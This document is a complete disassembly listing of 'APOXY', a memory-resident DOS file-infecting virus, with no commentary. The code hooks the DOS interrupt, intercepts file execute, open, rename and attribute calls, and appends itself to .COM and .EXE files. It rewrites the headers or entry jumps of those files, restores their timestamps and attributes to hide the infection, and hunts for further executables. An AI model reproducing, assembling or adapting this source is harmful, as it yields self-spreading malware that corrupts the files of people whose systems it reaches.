PAGE 59,132 ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ;ÛÛ ÛÛ ;ÛÛ APOXY ÛÛ ;ÛÛ ÛÛ ;ÛÛ Created: 5-Jan-80 ÛÛ ;ÛÛ Version: ÛÛ ;ÛÛ Passes: 5 Analysis Options on: none ÛÛ ;ÛÛ ÛÛ ;ÛÛ ÛÛ ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ data_1e equ 0F6h ; (042A:00F6=0) data_2e equ 3D5h ; (042A:03D5=6Ch) data_3e equ 3DDh ; (042A:03DD=61h) data_4e equ 42Ah ; (042A:042A=2065h) data_5e equ 448h ; (042A:0448=6575h) data_6e equ 44Ah ; (042A:044A=2E20h) data_7e equ 3 ; (80C6:0003=0FFFFh) data_8e equ 41Bh ; (80C6:041B=33h) data_9e equ 2 ; (80C7:0002=0) data_10e equ 0B6h ; (80C7:00B6=80h) seg_a segment byte public assume cs:seg_a, ds:seg_a org 100h apoxy proc far start: jmp loc_5 ; (0110) mov ah,9 int 21h ; DOS Services ah=function 09h ; display char string at ds:dx int 20h ; Program Terminate db 77h, 6Fh, 72h, 6Bh, 65h, 64h db 24h loc_5: call sub_4 ; (0410) mov ax,4288h int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset cmp ax,4288h je loc_6 ; Jump if equal call sub_1 ; (037A) loc_6: call sub_2 ; (03C3) cmp word ptr cs:[427h][bp],5A4Dh ; (80C7:0427=7400h) je loc_7 ; Jump if equal push cs push cs pop ds pop es mov ds:[bp+34h],cs lea si,[bp+427h] ; Load effective addr mov di,offset ds:[100h] ; (80C7:0100=0E9h) mov cx,3 cld ; Clear direction rep movsb ; Rep when cx >0 Mov [si] to es:[di] call sub_3 ; (0403) ;* jmp far ptr loc_2 ;*(0000:0100) db 0EAh, 00h, 01h, 00h, 00h loc_7: push ds push cs pop ds mov ax,es add ax,10h add [bp+41Eh],ax add [bp+420h],ax mov ax,[bp+41Eh] mov cx,[bp+41Ch] mov [bp+67h],ax mov [bp+65h],cx pop ds cli ; Disable interrupts mov ss,word ptr cs:[420h][bp] ; (80C7:0420=5056h) mov sp,word ptr cs:[422h][bp] ; (80C7:0422=0F28Bh) sti ; Enable interrupts call sub_3 ; (0403) ;* jmp far ptr loc_1 ;*(0000:0000) db 0EAh, 00h, 00h, 00h, 00h pushf ; Push flags cmp ax,4288h jne loc_8 ; Jump if not equal mov ax,4288h popf ; Pop flags iret ; Interrupt return loc_8: cmp ax,4299h jne loc_11 ; Jump if not equal mov byte ptr cs:[41Ah],0Bh ; (80C7:041A=0B6h) jmp short loc_15 ; (01D3) loc_9: mov byte ptr cs:[41Bh],0 ; (80C7:041B=0) popf ; Pop flags stc ; Set carry flag retf 2 ; Return far loc_10: mov byte ptr cs:[41Bh],0 ; (80C7:041B=0) popf ; Pop flags clc ; Clear carry flag iret ; Interrupt return loc_11: cmp ax,4B00h je loc_12 ; Jump if equal cmp ah,3Dh ; '=' je loc_12 ; Jump if equal cmp ah,56h ; 'V' je loc_12 ; Jump if equal cmp ah,43h ; 'C' jne loc_13 ; Jump if not equal loc_12: mov byte ptr cs:[41Ah],0 ; (80C7:041A=0B6h) jmp short loc_15 ; (01D3) loc_13: popf ; Pop flags ;* jmp far ptr loc_3 ;*(0019:40EB) db 0EAh,0EBh, 40h, 19h, 00h loc_14: mov byte ptr cs:[41Bh],0 ; (80C7:041B=0) jmp loc_27 ; (0356) loc_15: call sub_6 ; (0420) jc loc_13 ; Jump if carry Set push ax push bx push cx push dx push ds push es push di push si call sub_13 ; (04BD) mov word ptr cs:[448h],ds ; (80C7:0448=7C80h) mov word ptr cs:[44Ah],dx ; (80C7:044A=4D02h) mov ax,3D00h call sub_5 ; (0416) jc loc_14 ; Jump if carry Set xchg ax,bx push cs pop ds mov ah,3Fh ; '?' mov dx,offset ds:[42Ah] ; (80C7:042A=3Ch) mov cx,18h int 21h ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx call sub_10 ; (0493) push ax mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle pop ax cmp word ptr ds:[42Ah],5A4Dh ; (80C7:042A=613Ch) je loc_17 ; Jump if equal cmp dx,0 ja loc_16 ; Jump if above cmp ax,0D6D8h ja loc_16 ; Jump if above push ax add ax,0FBCFh cmp word ptr ds:[42Bh],ax ; (80C7:042B=7261h) pop ax jz loc_16 ; Jump if zero add ax,0FFFDh mov word ptr ds:[428h],ax ; (80C7:0428=0F74h) jmp short loc_20 ; (02A2) loc_16: mov byte ptr cs:[41Bh],0 ; (80C7:041B=0) jmp loc_27 ; (0356) loc_17: cmp word ptr ds:[43Eh],0 ; (80C7:043E=5845h) je loc_16 ; Jump if equal push ax mov ax,word ptr ds:[43Eh] ; (80C7:043E=5845h) mov word ptr ds:[41Fh],ax ; (80C7:041F=56C3h) mov ax,word ptr ds:[440h] ; (80C7:0440=0F74h) mov word ptr ds:[421h],ax ; (80C7:0421=8B50h) mov ax,word ptr ds:[438h] ; (80C7:0438=83EBh) mov word ptr ds:[423h],ax ; (80C7:0423=8AF2h) mov ax,word ptr ds:[43Ah] ; (80C7:043A=3EEh) mov word ptr ds:[425h],ax ; (80C7:0425=3C04h) pop ax add ax,10h adc dx,0 and ax,0FFF0h push ax push dx push ax push dx add ax,42Eh adc dx,0 mov cx,200h div cx ; ax,dx rem=dx:ax/reg or dx,dx ; Zero ? jz loc_18 ; Jump if zero inc ax loc_18: mov word ptr ds:[42Ch],dx ; (80C7:042C=872h) mov word ptr ds:[42Eh],ax ; (80C7:042E=7A3Ch) pop dx pop ax mov cx,4 locloop_19: shr dx,1 ; Shift w/zeros fill rcr ax,1 ; Rotate thru carry loop locloop_19 ; Loop if cx > 0 sub ax,word ptr ds:[432h] ; (80C7:0432=202Ch) sbb dx,0 mov word ptr ds:[438h],ax ; (80C7:0438=83EBh) mov word ptr ds:[440h],ax ; (80C7:0440=0F74h) mov word ptr ds:[43Ah],54Ch ; (80C7:043A=3EEh) mov word ptr ds:[43Eh],0 ; (80C7:043E=5845h) loc_20: push ds mov dx,word ptr ds:[44Ah] ; (80C7:044A=4D02h) mov ds,word ptr ds:[448h] ; (80C7:0448=7C80h) call sub_12 ; (04A4) jnc loc_21 ; Jump if carry=0 pop ds jmp loc_27 ; (0356) loc_21: mov ax,3D02h call sub_5 ; (0416) xchg ax,bx pop ds cmp word ptr ds:data_4e,5A4Dh ; (042A:042A=2065h) je loc_22 ; Jump if equal xor cx,cx ; Zero register mov dx,6 mov ax,4200h int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset call sub_9 ; (0476) jc loc_24 ; Jump if carry Set call sub_8 ; (0460) jmp short loc_24 ; (02FB) loc_22: mov ax,4200h mov dx,26h xor cx,cx ; Zero register int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset call sub_9 ; (0476) jnc loc_23 ; Jump if carry=0 mov ax,4200h mov dx,206h xor cx,cx ; Zero register int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset call sub_9 ; (0476) jnc loc_23 ; Jump if carry=0 jmp short loc_24 ; (02FB) loc_23: call sub_7 ; (045B) loc_24: xor cx,cx ; Zero register xor dx,dx ; Zero register mov ax,4200h int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset mov cx,3 mov dx,427h cmp word ptr ds:data_4e,5A4Dh ; (042A:042A=2065h) jne loc_25 ; Jump if not equal mov dx,data_4e ; (042A:042A=65h) mov cx,18h loc_25: mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx call sub_10 ; (0493) cmp word ptr ds:data_4e,5A4Dh ; (042A:042A=2065h) jne loc_26 ; Jump if not equal pop cx pop dx mov ax,4200h int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset loc_26: xor dx,dx ; Zero register mov cx,42Eh mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx mov ax,5700h int 21h ; DOS Services ah=function 57h ; get/set file date & time mov ax,5701h int 21h ; DOS Services ah=function 57h ; get/set file date & time mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle mov dx,ds:data_6e ; (042A:044A=2E20h) mov ds,ds:data_5e ; (042A:0448=6575h) call sub_11 ; (049D) mov byte ptr cs:[41Bh],1 ; (80C7:041B=0) loc_27: call sub_14 ; (04D9) pop si pop di pop es pop ds pop dx pop cx pop bx pop ax cmp byte ptr cs:[41Ah],0Bh ; (80C7:041A=0B6h) jne loc_29 ; Jump if not equal cmp byte ptr cs:[41Bh],1 ; (80C7:041B=0) jne loc_28 ; Jump if not equal jmp loc_10 ; (019F) loc_28: jmp loc_9 ; (0194) loc_29: jmp loc_13 ; (01C4) apoxy endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_1 proc near push ds push es mov ax,es dec ax mov es,ax sub word ptr es:data_7e,55h ; (80C6:0003=0FFFFh) inc ax add ax,es:data_7e ; (80C6:0003=0FFFFh) mov ds:data_9e,ax ; (80C7:0002=0) mov es,ax push es push cs pop ds mov ax,3521h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov [bp+0B3h],bx mov [bp+0B5h],es pop es lea si,[bp-3] ; Load effective addr xor di,di ; Zero register mov cx,54Dh cld ; Clear direction cli ; Disable interrupts rep movsb ; Rep when cx >0 Mov [si] to es:[di] sti ; Enable interrupts push es pop ds ;* mov dx,offset loc_4 ;* db 0BAh, 6Ch, 00h mov ax,2521h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx mov byte ptr es:data_8e,0 ; (80C6:041B=33h) pop es pop ds retn sub_1 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_2 proc near push cs pop ds mov ah,2Fh ; '/' int 21h ; DOS Services ah=function 2Fh ; get DTA ptr into es:bx mov word ptr ds:[3E4h][bp],es ; (80C7:03E4=21CDh) mov word ptr ds:[3E2h][bp],bx ; (80C7:03E2=27h) lea dx,[bp+3ECh] ; Load effective addr mov ah,1Ah int 21h ; DOS Services ah=function 1Ah ; set DTA to ds:dx lea dx,[bp+3E6h] ; Load effective addr mov ah,4Eh ; 'N' mov cx,27h int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx jnc loc_30 ; Jump if carry=0 loc_30: mov ax,4299h lea dx,[bp+40Ah] ; Load effective addr int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset jnc loc_31 ; Jump if carry=0 mov ah,4Fh ; 'O' int 21h ; DOS Services ah=function 4Fh ; find next filename match jnc loc_30 ; Jump if carry=0 loc_31: lds dx,dword ptr ds:[3E2h][bp] ; (80C7:03E2=27h) Load 32 bit ptr mov ah,1Ah int 21h ; DOS Services ah=function 1Ah ; set DTA to ds:dx retn sub_2 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_3 proc near xor di,di ; Zero register xor si,si ; Zero register xor bx,bx ; Zero register xor dx,dx ; Zero register xor bp,bp ; Zero register xor ax,ax ; Zero register retn sub_3 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_4 proc near mov bp,sp mov bp,[bp] retn sub_4 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_5 proc near pushf ; Push flags call dword ptr cs:data_10e ; (80C7:00B6=80h) sub_5 endp ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; ; External Entry Point ; ;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ int_24h_entry proc far jnc loc_ret_32 ; Jump if carry=0 stc ; Set carry flag loc_ret_32: retn int_24h_entry endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_6 proc near push si push ax mov si,dx loc_33: mov al,[si] cmp al,0 je loc_35 ; Jump if equal cmp al,61h ; 'a' jb loc_34 ; Jump if below cmp al,7Ah ; 'z' ja loc_34 ; Jump if above sub al,20h ; ' ' mov [si],al loc_34: inc si jmp short loc_33 ; (0424) loc_35: sub si,3 cmp word ptr [si],5845h je loc_36 ; Jump if equal cmp word ptr [si],4F43h jne loc_37 ; Jump if not equal cmp byte ptr [si+2],4Dh ; 'M' jne loc_37 ; Jump if not equal pop ax pop si retn loc_36: cmp byte ptr [si+2],45h ; 'E' je loc_38 ; Jump if equal loc_37: stc ; Set carry flag loc_38: pop ax pop si retn sub_6 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_7 proc near mov dx,0FCD3h jmp short loc_39 ; (0463) ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_8: mov dx,0FD2Fh loc_39: xor cx,cx ; Zero register dec cx mov ax,4202h int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset mov dx,data_1e ; (042A:00F6=0) mov cx,2 mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx retn sub_7 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_9 proc near mov dx,data_2e ; (042A:03D5=6Ch) mov cx,8 mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, cx=bytes, to ds:dx push ds pop es mov di,data_2e ; (042A:03D5=6Ch) mov si,data_3e ; (042A:03DD=61h) mov cx,8 repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di] jnz loc_40 ; Jump if not zero clc ; Clear carry flag retn loc_40: stc ; Set carry flag retn sub_9 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_10 proc near xor cx,cx ; Zero register xor dx,dx ; Zero register mov ax,4202h int 21h ; DOS Services ah=function 42h ; move file ptr, cx,dx=offset retn sub_10 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_11 proc near mov cx,word ptr cs:[446h] ; (80C7:0446=0F75h) jmp short loc_41 ; (04B2) ;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß sub_12: mov ax,4300h call sub_5 ; (0416) mov word ptr cs:[446h],cx ; (80C7:0446=0F75h) and cl,0FEh loc_41: mov ax,4301h call sub_5 ; (0416) jc loc_42 ; Jump if carry Set retn loc_42: stc ; Set carry flag retn sub_11 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_13 proc near push dx push ds push cs pop ds mov ax,3524h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov word ptr ds:[442h],bx ; (80C7:0442=3C81h) mov word ptr ds:[444h],es ; (80C7:0444=4F43h) mov ax,2524h mov dx,offset int_24h_entry int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx pop ds pop dx retn sub_13 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_14 proc near push cs pop ds mov ax,2524h lds dx,dword ptr ds:[442h] ; (80C7:0442=3C81h) Load 32 bit ptr int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx retn sub_14 endp and bp,cx and [bx+6Fh],dh jc $+6Dh ; Jump if carry Set db 65h, 22h, 19h, 35h, 93h, 59h db 57h, 54h, 80h, 00h, 00h, 00h db 00h db 2Ah, 2Eh, 45h, 58h, 45h db 46 dup (0) db 0B0h, 00h,0CFh, 00h, 33h, 00h db 00h,0E4h, 0Fh, 80h, 06h,0E9h db 0Dh, 00h,0BAh, 09h, 01h,0B4h seg_a ends end start